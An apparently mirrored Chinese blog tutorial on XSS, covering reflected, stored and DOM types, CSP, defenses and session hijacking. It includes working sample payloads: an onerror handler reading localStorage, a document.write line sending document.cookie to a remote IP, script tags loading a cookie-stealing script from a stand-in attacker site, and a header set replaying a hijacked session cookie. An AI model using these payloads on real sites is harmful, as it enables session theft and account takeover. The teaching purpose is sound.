zoukankan      html  css  js  c++  java
  • xss 攻击原理

    XSS 原名周树人浙江李大钊,XSS其实不是XSS,是CSS避免和CSS3重名,改名叫XSS(Cross site Scripting)

    1、攻击的原理是什么?

    一段坏人写的代码在你的浏览器上解释执行!!

    里面浏览器标签的一些特性,让用户无意间执行已经被添加的恶意代码,就能浏览器做一些有攻击性的行为。

    XSS 分类

    1. 反射形 xss
    2. 存储形 xss
    3. dom形 xss

    1.1、反射形 xss

    使用query请求,如果访问一段html代码或js脚本,服务端响应数据返回给客户端,客户端执行代码,这样还不算是xss,再形象一些

    如果请求是恶意发给中间服务,中间服务做一些修改,再把它返回给其他的页面请求,网站就变成了风险网站,原因是网站内容被恶意篡改。

    此时就需要https加密,中间服务器拿到消息也看不懂,或者csp策略,防止html代码被篡改。

    Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'strict-dynamic'

    const arr = ['1', '2', '3', '<img src="11" onerror="console.log(window.localStorage)" />']
        const t = document.querySelector('#t')
        arr.forEach(item => {
          const p = document.createElement('p')
          p.innerHTML = item
          t.append(p)  // 正常操作是插入的节点会执行onerror
    });
    document.write("<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>")
     

    现代浏览器CSP文档安全策略的限制说明: https://www.cnblogs.com/the-last/p/11437732.html

    1.2、反射型xss

    也称非持续型,单次操作攻击,维基百科描述了一个这样的故事:

    Alice经常访问一个网站,这个网站是Bob的,他允许Alice用用户名密码登录,而且会有敏感信息,用户登录后浏览器会保持认证状态,服务端和客户端都有Alice登录的记录。

    有一天,Mallory发现Bob的网站有易遭攻击的风险。

    Mallory在网站的主页,填写表单并提及,会有一个这样的URL:http://bobssite.org/search?q=her%20search%20term。

    在网站不能响应请求时,会返回:xxx not found,比如:http://bobssite.org/search?q=puppies返回 puppies not found。

    Mallory将输入换成了HTML字符串,如:'<script type='application/javascript'>alert('xss');</script>'

    这样服务器返回给客户端,会在页面插入这个标签并执行,客户端会出现弹框,内容是:xss。

    Mallory进一步修改传参,把puppies改成了恶意脚本的链接,http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>

    客户端解析这个返回值,就会创建script标签,请求并执行恶意脚本,网站就被攻击了。

    Mallory进一步把链接加密成不易被发现的格式:

    http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E

    Mallory把这个链接用e-mail给了Alice,Alice看到是Bob的网站,就点开了只是返回一个puppies not found,也并没有在意,单此时Alice的浏览器上的cookie信息交易信息,Mallory都已经能获取到了因为有恶意脚本执行,

    开始冒充用户认证实施破坏。

    那应该如何避免这样的违法的事情发生呢?

    1. 网站的输入,禁止输入一些敏感的字符,如:link、script、iframe
    2. 服务端设置无效访问的重定向
    3. 服务端查明和验证会话信息是否有效
    4. 网站只展示输入查询信息的最后几位
    5. 网站可以要求用户再次输入密码,在修改访问信息之前
    6. 网站使用 https://www.cnblogs.com/the-last/p/11437732.html 文档安全策略
    7. 设置 cookie为 http-only,不可被脚本修改。

    1.3、存储型xss

    存储形和反射行攻击的区别是,储存行会把提交的代码存储到服务器端,如文件系统,sql。下次攻击的时候就不需要再提交代码。

    再看一个维基百科上的故事!

    Mallory在Bob的网站上注册账户,Bob的网站可以留言

    提交留言会展示在评论区,每个人都可以看到

    Mallory给Bob的网站加了一句这样的留言,I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">

    当其他用户看到评论有个链接,点击这个链接就会发生xss攻击,链接是恶意代码的下载地址。

    这样的攻击就是一个持久化的xss。

    敏感的带有网络请求的标签有这样几种,在输入时进行语法过滤!

    <script> <link> <iframe> <img> <style> 

    1.4、会话劫持

    如何会话劫持呢?

    受害者与正常服务器的会话被黑客从中间劫持,受害者误以为是访问了安全的服务器,安全服务器以为是用户在访问。

    在请求的 http header 中添加如下头信息。

    xssheaders = {
            'Host': 'www.xsslabelgg.com',
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0',
            'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-GB,en;q=0.5',
            'Accept-Encoding': 'json, text, gzip, deflate',
            'Referer': 'http://www.xsslabelgg.com/profile/hackbiji',
            'Cookie': 'particle=hgb32s34ekr20kdq6ttje8dct0',
            'Connection': 'keep-alive',
    }

    这样黑客获取到信息就能代替受害者,正常访问服务器。

  • 相关阅读:
    【原创游戏】合金弹头S——Unity制作的同人游戏
    【原创游戏】Extreme Ball——虐心小游戏
    【原创游戏】迷踪失路——恐怖风格的第一人称迷宫游戏
    生成二维码工具类及使用
    使用base64对图片的加密解密
    将图片转换成二进制, (用到 输入流,输出流)
    图片的缩放(放大缩小)
    逻辑推理
    应该在别人恐惧时贪婪吗?
    SQL 2005数据类型说明
  • 原文地址:https://www.cnblogs.com/the-last/p/11611545.html
Copyright © 2011-2022 走看看